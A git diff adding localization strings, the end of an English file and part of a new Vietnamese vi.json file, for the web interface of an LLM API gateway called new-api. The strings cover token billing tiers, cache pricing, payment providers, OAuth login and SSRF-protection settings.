+    "缓存读取": "Cache read",
+    "缓存创建": "Cache create",
+    "缓存创建-5分钟": "Cache Creation (5-min)",
+    "缓存创建-1小时": "Cache Creation (1-hour)",
+    "缓存读取 Token (cr)": "Cache Read Tokens (cr)",
+    "缓存创建 Token (cc)": "Cache Creation Tokens (cc)",
+    "缓存创建-5分钟 (cc5)": "Cache Creation-5min (cc5)",
+    "缓存创建-1小时 (cc1h)": "Cache Creation-1hour (cc1h)",
+    "阶梯计费": "Tiered Billing",
+    "输入 Tokens 阶梯": "Input Token Tiers",
+    "输出 Tokens 阶梯": "Output Token Tiers",
+    "固定阶梯": "Fixed Tier",
+    "累进阶梯": "Graduated Tier",
+    "上限": "Up To",
+    "单价": "Unit Cost",
+    "固定费": "Flat Fee",
+    "Expr 预览": "Expression Preview",
+    "Token 估算器": "Token Estimator",
+    "预计费用": "Estimated Cost",
+    "原始额度": "Raw Quota",
+    "添加阶梯": "Add Tier",
+    "无限": "Unlimited",
+    "输入 Token 定价": "Input Token Pricing",
+    "输出 Token 定价": "Output Token Pricing",
+    "统一定价": "Flat Rate",
+    "阶梯累进": "Graduated",
+    "根据总用量落在哪个档位，所有 Token 都按该档价格计费": "All tokens are charged at the rate of the tier your total usage falls into",
+    "用量分段计价，每一段各自按对应档位价格计费（类似电费阶梯）": "Usage is charged in segments — each segment at its own tier rate (like utility billing)",
+    "Token 用量范围": "Token Usage Range",
+    "所有 Token": "All Tokens",
+    "前 {{count}} 个": "First {{count}}",
+    "超过 {{count}} 个": "Over {{count}}",
+    "第 {{n}} 档": "Tier {{n}}",
+    "最高档": "Highest Tier",
+    "此档上限（Token 数）": "Tier Limit (Token Count)",
+    "每百万 Token 价格": "Price per 1M Tokens",
+    "进入此档额外收费": "Tier Entry Fee",
+    "可选，用量达到此档时加收的固定费用": "Optional fixed fee charged when usage reaches this tier",
+    "添加更多档位": "Add More Tiers",
+    "输入 Token 数": "Input Tokens",
+    "输出 Token 数": "Output Tokens",
+    "输入 Token 数量，查看按当前阶梯配置的预计费用。": "Enter token counts to see the estimated cost with the current tier configuration.",
+    "开发者": "Developer",
+    "阶梯计费详情": "Tiered Billing Details",
+    "预估环境": "Estimated Env",
+    "实际环境": "Actual Env",
+    "预估额度": "Estimated Quota",
+    "实际额度": "Actual Quota",
+    "跨阶梯": "Crossed Tier",
+    "计费明细": "Billing Breakdown",
+    "阶梯序号": "Tier #",
+    "Token 类型": "Token Type",
+    "阶梯内 Token 数": "Tokens in Tier",
+    "小计": "Subtotal",
+    "阶梯配置摘要": "Tier Config Summary",
+    "输入阶梯": "Input Tiers",
+    "档位名称": "Tier Name",
+    "用量范围": "Usage Range",
+    "输入 Token": "Input Token",
+    "输出 Token": "Output Token",
+    "阶梯判断依据": "Tier Criterion",
+    "根据哪个维度的 Token 数量决定落在哪一档": "Determines which tier to apply based on this dimension's token count",
+    "输入 Token 数 (p)": "Input Tokens (p)",
+    "输出 Token 数 (c)": "Output Tokens (c)",
+    "变量": "Variables",
+    "函数": "Functions",
+    "输入计费表达式...": "Enter billing expression...",
+    "表达式编辑": "Expression Editor",
+    "表达式错误": "Expression Error",
+    "命中档位": "Matched Tier",
+    "档": "tier(s)",
+    "输入 Token 数量，查看按当前配置的预计费用。": "Enter token counts to see the estimated cost.",
+    "输入 Token 数量，查看按当前配置的预计费用（不含分组倍率）。": "Enter token counts to see the estimated cost (before group ratio).",
+    "条件": "Condition",
+    "添加条件": "Add Condition",
+    "无条件（兜底档）": "No condition (fallback)",
+    "兜底档": "Fallback",
+    "每个档位可设置 0~2 个条件（对 p 和 c），最后一档为兜底档无需条件。": "Each tier can have 0-2 conditions (on p and c). The last tier is the fallback and needs no condition.",
+    "输出阶梯": "Output Tiers",
+    "阶": "tiers",
+    "规则版本": "Rule Version",
+    "时间条件": "Time condition",
+    "星期": "Weekday",
+    "月份": "Month",
+    "日期": "Day",
+    "时区": "Timezone",
+    "跨夜范围": "Cross-midnight range",
+    "添加时间规则": "Add time rule",
+    "起": "From",
+    "止": "To",
+    "值": "Value",
+    "添加条件组": "Add condition group",
+    "添加时间条件": "Add time condition",
+    "同时满足": "all must match",
+    "新年促销": "New Year promo",
+    "第 {{n}} 组": "Group {{n}}",
+    "0=周日 1=周一 2=周二 3=周三 4=周四 5=周五 6=周六": "0=Sun 1=Mon 2=Tue 3=Wed 4=Thu 5=Fri 6=Sat",
+    "1=一月 ... 12=十二月": "1=Jan ... 12=Dec",
+    "动态计费": "Dynamic pricing",
+    "价格根据用量档位和请求条件动态调整": "Price adjusts dynamically based on usage tiers and request conditions",
+    "分档价格表": "Tiered price table",
+    "条件乘数": "Condition multipliers",
+    "将额外乘以上述价格": "will additionally multiply the above prices",
+    "缓存创建-1h": "Cache create (1h)",
+    "见上方动态计费详情": "See dynamic pricing details above",
+    "含时间条件": "Time rules",
+    "含请求条件": "Request rules",
+    "（当前仅支持易支付接口，默认使用上方服务器地址作为回调地址！）": "(Currently only supports Epay interface, the default callback address is the server address above!)"
+  }
+}
diff --git a/new-api/web/classic/src/i18n/locales/vi.json b/new-api/web/classic/src/i18n/locales/vi.json
new file mode 100644
index 0000000..4ca1a77
--- /dev/null
+++ b/new-api/web/classic/src/i18n/locales/vi.json
@@ -0,0 +1,4181 @@
+{
+  "translation": {
+    " + Web搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_one": " + Tìm kiếm Web {{count}} lần / 1K lần * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " + Web搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_other": " + Tìm kiếm Web {{count}} lần / 1K lần * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " + 图片生成调用 {{symbol}}{{price}} / 1次 * {{ratioType}} {{ratio}}": " + Gọi tạo hình ảnh {{symbol}}{{price}} / 1 lần * {{ratioType}} {{ratio}}",
+    " + 文件搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_one": " + Tìm kiếm tệp {{count}} lần / 1K lần * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " + 文件搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_other": " + Tìm kiếm tệp {{count}} lần / 1K lần * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " 个模型设置相同的值": " các mô hình có cùng giá trị",
+    " 吗？": " không?",
+    " 秒": " giây",
+    " 秒。": " giây.",
+    "，当前无生效订阅，将自动使用钱包": ", hiện không có gói đăng ký hiệu lực, sẽ tự động dùng ví.",
+    "，时间：": ", thời gian:",
+    "，点击更新": ", nhấn để cập nhật",
+    "（共 {{total}} 个，省略 {{omit}} 个）": "",
+    "（共 {{total}} 个）": "",
+    "当前仅支持易支付接口，回调地址请在通用设置中配置。": "Hiện tại chỉ hỗ trợ giao diện Epay. Hãy cấu hình địa chỉ gọi lại trong cài đặt chung.",
+    "请确认商户和所选环境密钥一致。": "Hãy đảm bảo merchant và khóa của môi trường đã chọn khớp nhau.",
+    "请确认 Merchant、Store、Product 和所选环境密钥一致。": "Hãy đảm bảo Merchant, Store, Product và khóa của môi trường đã chọn khớp nhau.",
+    "(筛选后显示 {{count}} 条)_other": "(Showing {{count}} items after filtering)",
+    "(输入 {{input}} tokens / 1M tokens * {{symbol}}{{price}}": "(Đầu vào {{input}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "(输入 {{nonAudioInput}} tokens / 1M tokens * {{symbol}}{{price}} + 音频输入 {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioPrice}}": "(Đầu vào {{nonAudioInput}} tokens / 1M tokens * {{symbol}}{{price}} + Đầu vào âm thanh {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioPrice}}",
+    "(输入 {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + 缓存 {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}}": "(Đầu vào {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + Bộ nhớ đệm {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}}",
+    "(输入 {{nonImageInput}} tokens + 图片输入 {{imageInput}} tokens / 1M tokens * {{symbol}}{{price}}": "(Đầu vào {{nonImageInput}} tokens + Đầu vào hình ảnh {{imageInput}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "[最多请求次数]和[最多请求完成次数]的最大值为2147483647。": "Giá trị tối đa của [Số lần yêu cầu tối đa] và [Số lần hoàn thành yêu cầu tối đa] là 2147483647.",
+    "[最多请求次数]必须大于等于0，[最多请求完成次数]必须大于等于1。": "[Số lần yêu cầu tối đa] phải lớn hơn hoặc bằng 0, [Số lần hoàn thành yêu cầu tối đa] phải lớn hơn hoặc bằng 1.",
+    "{\n  \"default\": [200, 100],\n  \"vip\": [0, 1000]\n}": "{\n  \"default\": [200, 100],\n  \"vip\": [0, 1000]\n}",
+    "{{breakdown}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "{{breakdown}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "{{count}} 项操作_other": "",
+    "{{inputDesc}} + {{outputDesc}}{{extraServices}} = {{symbol}}{{total}}": "{{inputDesc}} + {{outputDesc}}{{extraServices}} = {{symbol}}{{total}}",
+    "{{name}} ID": "{{name}} ID",
+    "{{ratioType}} {{ratio}}": "{{ratioType}} {{ratio}}",
+    "{{ratioType}} {{ratio}}x": "{{ratioType}} {{ratio}}x",
+    "「用户可选」决定用户创建令牌时能否自主选择该分组。未勾选的分组只能由管理员在后台分配给用户，不会出现在用户的令牌创建页面中。": "\"User Selectable\" controls whether users can choose this group when creating tokens. Unchecked groups can only be assigned by admin and won't appear in the token creation page.",
+    "• 视频服务商的跨域限制": "• Cross-origin limitations from the video provider",
+    "• 防盗链保护机制": "• Hotlink protection mechanisms",
+    "• 需要特定的请求头或认证": "• Specific headers or authentication are required",
+    "© {{currentYear}}": "© {{currentYear}}",
+    "| 基于": " | Dựa trên ",
+    "$/1M tokens": "$/1M tokens",
+    "$/次": "",
+    "0 - 最低": "0 - Thấp nhất",
+    "0 表示不限": "0 nghĩa là không giới hạn",
+    "0.002-1之间的小数": "Số thập phân giữa 0.002-1",
+    "0.1以上的小数": "Số thập phân trên 0.1",
+    "1. 管理员在此创建分组并设置倍率": "1. Admin creates groups and sets ratios here",
+    "1) 点击「打开授权页面」完成登录；2) 浏览器会跳转到 localhost（页面打不开也没关系）；3) 复制地址栏完整 URL 粘贴到下方；4) 点击「生成并填入」。": "1) Nhấn \"Mở trang xác thực\" để đăng nhập; 2) Trình duyệt sẽ chuyển hướng đến localhost (không sao nếu trang không mở được); 3) Sao chép URL đầy đủ từ thanh địa chỉ và dán vào bên dưới; 4) Nhấn \"Tạo và điền\".",
+    "10 - 最高": "10 - Cao nhất",
+    "1h缓存创建 {{price}} / 1M tokens": "Tạo bộ nhớ đệm 1h {{price}} / 1M tokens",
+    "1h缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Tạo bộ nhớ đệm 1h {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "1h缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "1h cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "1h缓存创建：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 1h缓存创建倍率 {{cacheCreationRatio1h}} * {{ratioType}} {{ratio}} = {{amount}}": "Tạo bộ nhớ đệm 1h: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số tạo bộ nhớ đệm 1h {{cacheCreationRatio1h}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "1h缓存创建价格 {{symbol}}{{price}} / 1M tokens": "Giá tạo bộ nhớ đệm 1h {{symbol}}{{price}} / 1M tokens",
+    "1h缓存创建价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (1h缓存创建倍率: {{cacheCreationRatio1h}})": "1h cache creation price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (1h cache creation ratio: {{cacheCreationRatio1h}})",
+    "1h缓存创建价格：{{symbol}}{{price}} / 1M tokens": "Giá tạo bộ nhớ đệm 1h: {{symbol}}{{price}} / 1M tokens",
+    "2 - 低": "2 - Thấp",
+    "2. 管理员在用户管理中将用户分配到对应分组（如 vip）": "2. Admin assigns users to groups in User Management (e.g., vip)",
+    "2025年5月10日后添加的渠道，不需要再在部署的时候移除模型名称中的\".\"": "Các kênh được thêm sau ngày 10 tháng 5 năm 2025 không cần xóa dấu chấm trong tên mô hình khi triển khai",
+    "3. 用户创建令牌时，下拉菜单中出现勾选了「用户可选」的分组": "3. When users create tokens, groups with \"User Selectable\" checked appear in the dropdown",
+    "360智脑": "360 AI Brain",
+    "4. 令牌使用所选分组的倍率进行计费": "4. Token uses the selected group's ratio for billing",
+    "5 - 正常（默认）": "5 - Bình thường (mặc định)",
+    "5m缓存创建 {{price}} / 1M tokens": "Tạo bộ nhớ đệm 5m {{price}} / 1M tokens",
+    "5m缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Tạo bộ nhớ đệm 5m {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "5m缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "5m cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "5m缓存创建：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 5m缓存创建倍率 {{cacheCreationRatio5m}} * {{ratioType}} {{ratio}} = {{amount}}": "Tạo bộ nhớ đệm 5m: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số tạo bộ nhớ đệm 5m {{cacheCreationRatio5m}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "5m缓存创建价格 {{symbol}}{{price}} / 1M tokens": "Giá tạo bộ nhớ đệm 5m {{symbol}}{{price}} / 1M tokens",
+    "5m缓存创建价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (5m缓存创建倍率: {{cacheCreationRatio5m}})": "5m cache creation price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (5m cache creation ratio: {{cacheCreationRatio5m}})",
+    "5m缓存创建价格：{{symbol}}{{price}} / 1M tokens": "Giá tạo bộ nhớ đệm 5m: {{symbol}}{{price}} / 1M tokens",
+    "8 - 高": "8 - Cao",
+    "AGPL v3.0协议": "Giấy phép AGPL v3.0",
+    "AI 对话": "Trò chuyện AI",
+    "AI模型测试环境": "Môi trường thử nghiệm mô hình AI",
+    "AI模型配置": "Cấu hình mô hình AI",
+    "AK/SK 模式：使用 AccessKey 和 SecretAccessKey；API Key 模式：使用 API Key": "AK/SK mode uses AccessKey and SecretAccessKey; API Key mode uses an API Key",
+    "anthropic-beta JSON 示例": "",
+    "API Key": "API Key",
+    "API Key 模式下不支持批量创建": "Không hỗ trợ tạo hàng loạt trong chế độ API Key",
+    "API Key 验证失败": "API Key verification failed",
+    "API Key 验证成功！连接到 io.net 服务正常": "API Key verification successful! Connection to io.net service is normal",
+    "API 地址和相关配置": "Địa chỉ API và cấu hình liên quan",
+    "API 密钥": "Khóa API",
+    "API 密钥 (沙盒)": "",
+    "API 密钥 (生产)": "",
+    "API 文档": "Tài liệu API",
+    "API 配置": "Cấu hình API",
+    "API令牌管理": "Quản lý mã thông báo API",
+    "API使用记录": "Hồ sơ sử dụng API",
+    "API信息": "Thông tin API",
+    "API信息管理，可以配置多个API地址用于状态展示和负载均衡（最多50个）": "Quản lý thông tin API, bạn có thể cấu hình nhiều địa chỉ API để hiển thị trạng thái và cân bằng tải (tối đa 50)",
+    "API地址": "Base URL",
+    "API渠道配置": "Cấu hình kênh API",
+    "API端点": "Điểm cuối API",
+    "Authorization callback URL 填": "Điền URL gọi lại ủy quyền",
+    "Authorization Endpoint": "Điểm cuối ủy quyền",
+    "auto分组调用链路": "chuỗi gọi nhóm tự động",
+    "Bark推送URL": "URL đẩy Bark",
+    "Bark推送URL必须以http://或https://开头": "URL đẩy Bark phải bắt đầu bằng http:// hoặc https://",
+    "Bark通知": "Thông báo Bark",
+    "Basic Auth 头": "Header Basic Auth",
+    "Cached tokens": "Cached tokens",
+    "Cached tokens 占比口径由后端返回：Claude 语义按 cached/(prompt+cached)，其余按 cached/prompt。": "Tỷ lệ cached tokens được trả về từ backend: ngữ nghĩa Claude tính theo cached/(prompt+cached), còn lại tính theo cached/prompt.",
+    "Changing batch type to:": "Đang thay đổi loại hàng loạt thành:",
+    "ChatCompletions→Responses 兼容配置": "Cấu hình tương thích ChatCompletions→Responses",
+    "ChatCompletions→Responses 兼容配置（Beta）": "Tương thích ChatCompletions→Responses (Beta)",
+    "Claude 强制 beta=true": "Claude buộc beta=true",
+    "Claude会在原有请求头基础上追加这些值，不会覆盖已有同名请求头；重复值会自动忽略。": "Claude sẽ thêm các giá trị này vào các tiêu đề yêu cầu hiện có. Các tiêu đề cùng tên sẽ không bị ghi đè và các giá trị trùng lặp sẽ tự động bị bỏ qua.",
+    "Claude思考适配 BudgetTokens = MaxTokens * BudgetTokens 百分比": "Thích ứng tư duy Claude BudgetTokens = MaxTokens * Tỷ lệ phần trăm BudgetTokens",
+    "Claude设置": "Cài đặt Claude",
+    "Claude请求头覆盖": "Ghi đè tiêu đề yêu cầu Claude",
+    "Claude请求头追加": "Thêm tiêu đề yêu cầu Claude",
+    "Client ID": "Client ID",
+    "Client Secret": "Client Secret",
+    "Codex 授权": "Xác thực Codex",
+    "Codex 渠道不支持批量创建": "Kênh Codex không hỗ trợ tạo hàng loạt",
+    "common.changeLanguage": "Thay đổi ngôn ngữ",
+    "Completion tokens": "Completion tokens",
+    "Configuration": "Cấu hình",
+    "context_int/context_string 从请求上下文读取；gjson 从入口请求的 JSON body 按 gjson path 读取。": "context_int/context_string đọc từ context yêu cầu; gjson đọc từ JSON body yêu cầu đầu vào theo gjson path.",
+    "CPU 使用率超过此值时拒绝请求": "Từ chối yêu cầu khi sử dụng CPU vượt quá giá trị này",
+    "CPU 阈值 (%)": "Ngưỡng CPU (%)",
+    "Creem API 密钥，敏感信息不显示": "Khóa API Creem, thông tin nhạy cảm không được hiển thị",
+    "Creem Setting Tips": "Creem chỉ hỗ trợ các sản phẩm có số tiền cố định được thiết lập sẵn. Các sản phẩm này và giá của chúng cần được tạo và cấu hình trước trên trang web Creem, vì vậy việc nạp tiền số tiền động tùy chỉnh không được hỗ trợ. Cấu hình tên sản phẩm và giá trên Creem, lấy ID sản phẩm, sau đó điền vào sản phẩm bên dưới. Đặt số tiền nạp và giá hiển thị cho sản phẩm này trong API mới.",
+    "Creem 介绍": "Creem là đối tác thanh toán mà bạn luôn xứng đáng có được, chúng tôi phấn đấu cho sự đơn giản và thẳng thắn trên các API của mình.",
+    "Creem 充值": "Nạp tiền Creem",
+    "Creem 设置": "Cài đặt Creem",
+    "default 和 vip 只能由管理员在「用户管理」中分配给用户。适用于按用户等级定价、内部测试等不希望用户自主选择的场景。": "default and vip can only be assigned to users by admin in \"User Management\". Suitable for tiered pricing, internal testing, or other scenarios where user self-selection is not desired.",
+    "default为默认设置，可单独设置每个分类的安全等级": "\"default\" là cài đặt mặc định, và mỗi danh mục có thể được đặt riêng",
+    "default为默认设置，可单独设置每个模型的版本": "\"default\" là cài đặt mặc định, và mỗi mô hình có thể được đặt riêng",
+    "Dify渠道只适配chatflow和agent，并且agent不支持图片！": "Kênh Dify chỉ hỗ trợ chatflow và agent, và agent không hỗ trợ hình ảnh!",
+    "Discord": "Discord",
+    "Discord Client ID": "Discord Client ID",
+    "Discord Client Secret": "Discord Client Secret",
+    "Discord ID": "Discord ID",
+    "Discovery claims": "Discovery claims",
+    "Discovery scopes": "Discovery scopes",
+    "Discovery 建议 scopes：": "Discovery scopes được đề xuất:",
+    "EUR (欧元)": "EUR (Euro)",
+    "false": "sai",
+    "GC 已执行": "GC đã thực thi",
+    "GC 执行失败": "Thực thi GC thất bại",
+    "GC 次数": "Số lần GC",
+    "Gemini安全设置": "Cài đặt an toàn Gemini",
+    "Gemini思考适配 BudgetTokens = MaxTokens * BudgetTokens 百分比": "Thích ứng tư duy Gemini BudgetTokens = MaxTokens * Tỷ lệ phần trăm BudgetTokens",
+    "Gemini思考适配设置": "Cài đặt thích ứng tư duy Gemini",
+    "Gemini版本设置": "Cài đặt phiên bản Gemini",
+    "Gemini设置": "Cài đặt Gemini",
+    "GitHub": "GitHub",
+    "GitHub Client ID": "GitHub Client ID",
+    "GitHub Client Secret": "GitHub Client Secret",
+    "GitHub ID": "GitHub ID",
+    "Goroutine 数": "Số Goroutine",
+    "Gotify应用令牌": "Mã thông báo ứng dụng Gotify",
+    "Gotify服务器地址": "Địa chỉ máy chủ Gotify",
+    "Gotify服务器地址必须以http://或https://开头": "Địa chỉ máy chủ Gotify phải bắt đầu bằng http:// hoặc https://",
+    "Gotify通知": "Thông báo Gotify",
+    "GPU/容器": "GPU/Container",
+    "GPU数量": "Number of GPUs",
+    "Grok设置": "Cài đặt Grok",
+    "Haiku 模型": "Model Haiku",
+    "Homepage URL 填": "Điền URL trang chủ",
+    "ID": "ID",
+    "include_obfuscation 用于控制 Responses 流混淆字段。默认关闭以避免客户端关闭该安全保护": "include_obfuscation kiểm soát trường làm mờ trong luồng Responses. Mặc định tắt để tránh client vô hiệu hóa bảo vệ bảo mật này",
+    "inference_geo 字段用于控制 Claude 数据驻留推理区域。默认关闭以避免未经授权透传地域信息": "Trường inference_geo kiểm soát vùng lưu trữ dữ liệu suy luận của Claude. Mặc định tắt để ngăn truyền thông tin địa lý trái phép",
+    "IP": "IP",
+    "IP白名单": "IP Whitelist",
+    "IP白名单（支持CIDR表达式）": "Danh sách trắng IP (hỗ trợ biểu thức CIDR)",
+    "IP限制": "Hạn chế IP",
+    "IP黑名单": "Danh sách đen IP",
+    "JSON": "JSON",
+    "JSON 已格式化": "JSON đã được định dạng",
+    "JSON 文本": "Văn bản JSON",
+    "JSON 无效": "JSON không hợp lệ",
+    "JSON 格式参考": "JSON Reference",
+    "JSON 模式": "Chế độ JSON",
+    "JSON 模式支持手动输入或上传服务账号 JSON": "Chế độ JSON hỗ trợ nhập thủ công hoặc tải lên JSON tài khoản dịch vụ",
+    "JSON格式密钥，请确保格式正确": "Khóa định dạng JSON, vui lòng đảm bảo định dạng chính xác",
+    "JSON格式错误": "Lỗi định dạng JSON",
+    "JSON编辑": "Trình chỉnh sửa JSON",
+    "JSON解析错误:": "Lỗi phân tích cú pháp JSON:",
+    "Key": "Key",
+    "Key 或 Path": "Key hoặc Path",
+    "Key 指纹": "Vân tay Key",
+    "Key 摘要": "Tóm tắt Key",
+    "Key 来源": "Nguồn Key",
+    "Key 来源类型": "Loại nguồn Key",
+    "Linux DO Client ID": "Linux DO Client ID",
+    "Linux DO Client Secret": "Linux DO Client Secret",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO ID": "LinuxDO ID",
+    "Logo 图片地址": "Địa chỉ hình ảnh Logo",
+    "Midjourney 任务记录": "Hồ sơ tác vụ Midjourney",
+    "MIT许可证": "Giấy phép MIT",
+    "New API项目仓库地址：": "Địa chỉ kho dự án New API: ",
+    "NewAPI 默认不会将入口请求的 User-Agent 透传到上游渠道；该条件仅用于识别访问本站点的客户端。": "NewAPI mặc định không truyền User-Agent của yêu cầu đến kênh upstream; điều kiện này chỉ dùng để nhận diện client truy cập trang web này.",
+    "OAuth Client ID": "OAuth Client ID",
+    "OAuth Client Secret": "OAuth Client Secret",
+    "OAuth 端点": "Endpoint OAuth",
+    "OIDC": "OIDC",
+    "OIDC ID": "OIDC ID",
+    "Ollama 模型管理": "Ollama Model Management",
+    "Ollama 版本信息": "Ollama Version Info",
+    "Opus 模型": "Model Opus",
+    "Passkey": "Passkey",
+    "Passkey 已解绑": "Đã xóa Passkey",
+    "Passkey 已重置": "Passkey đã được đặt lại",
+    "Passkey 是基于 WebAuthn 标准的无密码身份验证方法，支持指纹、面容、硬件密钥等认证方式": "Passkey là phương pháp xác thực không mật khẩu dựa trên tiêu chuẩn WebAuthn, hỗ trợ vân tay, nhận diện khuôn mặt, khóa phần cứng và các phương pháp xác thực khác",
+    "Passkey 注册失败，请重试": "Đăng ký Passkey thất bại. Vui lòng thử lại.",
+    "Passkey 注册成功": "Đăng ký Passkey thành công",
+    "Passkey 登录": "Đăng nhập Passkey",
+    "Pay Method Name": "",
+    "Pay Method Type": "",
+    "Ping间隔（秒）": "Khoảng thời gian Ping (giây)",
+    "POST 参数": "Tham số POST",
+    "price_xxx 的商品价格 ID，新建产品后可获得": "ID giá sản phẩm cho price_xxx, có sẵn sau khi tạo sản phẩm mới",
+    "Prompt cache hit tokens": "Prompt cache hit tokens",
+    "Prompt tokens": "Prompt tokens",
+    "Reasoning Effort": "Nỗ lực suy luận",
+    "Recharge Quota": "Hạn ngạch nạp tiền",
+    "Request ID": "Request ID",
+    "RSA 私钥 (沙盒)": "",
+    "RSA 私钥 (生产)": "",
+    "safety_identifier 字段用于帮助 OpenAI 识别可能违反使用政策的应用程序用户。默认关闭以保护用户隐私": "Trường safety_identifier giúp OpenAI xác định người dùng ứng dụng có thể vi phạm chính sách sử dụng. Tắt theo mặc định để bảo vệ quyền riêng tư của người dùng",
+    "Scopes（可选）": "Scopes (tùy chọn)",
+    "service_tier 字段用于指定服务层级，允许透传可能导致实际计费高于预期。默认关闭以避免额外费用": "Trường service_tier được sử dụng để chỉ định cấp độ dịch vụ. Cho phép truyền qua có thể dẫn đến việc tính phí thực tế cao hơn dự kiến. Tắt theo mặc định để tránh phí bổ sung",
+    "sk_xxx 或 rk_xxx 的 Stripe 密钥，敏感信息不显示": "Khóa Stripe cho sk_xxx hoặc rk_xxx, thông tin nhạy cảm không được hiển thị",
+    "SMTP 发送者邮箱": "Email người gửi SMTP",
+    "SMTP 服务器地址": "Địa chỉ máy chủ SMTP",
+    "SMTP 端口": "Cổng SMTP",
+    "SMTP 访问凭证": "Thông tin xác thực truy cập SMTP",
+    "SMTP 账户": "Tài khoản SMTP",
+    "Sonnet 模型": "Model Sonnet",
+    "speed 字段用于控制 Claude 推理速度模式。默认关闭以避免意外切换到 fast 模式": "Trường speed kiểm soát chế độ tốc độ suy luận Claude. Mặc định tắt để tránh vô tình chuyển sang chế độ fast",
+    "SSE 事件": "Sự kiện SSE",
+    "SSE数据流": "Luồng dữ liệu SSE",
+    "SSRF防护开关详细说明": "Công tắc chính kiểm soát xem bảo vệ SSRF có được bật hay không. Khi tắt, tất cả các kiểm tra SSRF sẽ bị bỏ qua, cho phép truy cập vào bất kỳ URL nào. ⚠️ Chỉ tắt tính năng này trong môi trường hoàn toàn tin cậy.",
+    "SSRF防护设置": "Cài đặt bảo vệ SSRF",
+    "SSRF防护详细说明": "Bảo vệ SSRF ngăn chặn người dùng độc hại sử dụng máy chủ của bạn để truy cập tài nguyên mạng nội bộ. Cấu hình danh sách trắng cho các tên miền/IP đáng tin cậy và hạn chế các cổng được phép. Áp dụng cho tải xuống tệp, webhook và thông báo.",
+    "standard 已被移除，vip 用户看不到": "standard has been removed, vip users cannot see it",
+    "store 字段用于授权 OpenAI 存储请求数据以评估和优化产品。默认关闭，开启后可能导致 Codex 无法正常使用": "Trường store ủy quyền cho OpenAI lưu trữ dữ liệu yêu cầu để đánh giá và tối ưu hóa sản phẩm. Tắt theo mặc định. Bật có thể khiến Codex hoạt động không chính xác",
+    "Stripe 设置": "Cài đặt Stripe",
+    "Stripe/Creem 商品ID（可选）": "ID sản phẩm Stripe/Creem (tùy chọn)",
+    "Stripe/Creem 需在第三方平台创建商品并填入 ID": "Sản phẩm Stripe/Creem phải được tạo trên nền tảng bên thứ ba và điền ID",
+    "Telegram": "Telegram",
+    "Telegram Bot Token": "Telegram Bot Token",
+    "Telegram Bot 名称": "Tên Telegram Bot",
+    "Telegram ID": "Telegram ID",
+    "Token Endpoint": "Token Endpoint",
+    "token 会按倍率换算成“额度/次数”，请求结束后再做差额结算（补扣/返还）。": "Token được quy đổi thành hạn mức/số lần theo tỷ lệ. Sau khi yêu cầu hoàn tất, chênh lệch sẽ được quyết toán (trừ thêm/hoàn trả).",
+    "Total tokens": "Total tokens",
+    "true": "đúng",
+    "TTL（秒，0 表示默认）": "TTL (giây, 0 là mặc định)",
+    "TTL（秒）": "TTL (giây)",
+    "Turnstile Secret Key": "Turnstile Secret Key",
+    "Turnstile Site Key": "Turnstile Site Key",
+    "Unix时间戳": "Dấu thời gian Unix",
+    "Uptime Kuma地址": "Địa chỉ Uptime Kuma",
+    "Uptime Kuma监控分类管理，可以配置多个监控分类用于服务状态展示（最多20个）": "Quản lý danh mục giám sát Uptime Kuma, bạn có thể cấu hình nhiều danh mục giám sát để hiển thị trạng thái dịch vụ (tối đa 20)",
+    "URL 标识，只能包含小写字母、数字和连字符": "Định danh URL, chỉ cho phép chữ thường, số và dấu gạch ngang",
+    "URL链接": "Liên kết URL",
+    "USD (美元)": "USD (Đô la Mỹ)",
+    "User Info Endpoint": "User Info Endpoint",
+    "User-Agent include（每行一个，可不写）": "User-Agent include (mỗi dòng một mục, tùy chọn)",
+    "Value 正则": "Regex giá trị",
+    "Vertex AI 不支持 functionResponse.id 字段，开启后将自动移除该字段": "Vertex AI không hỗ trợ trường functionResponse.id. Khi bật, trường này sẽ tự động bị xóa",
+    "Waffo API 参数，可空，例如：CREDITCARD,DEBITCARD（最多64位）": "",
+    "Waffo API 参数，可空（最多64位）": "",
+    "Waffo 充值": "",
+    "Waffo 充值的最低数量，默认 1": "",
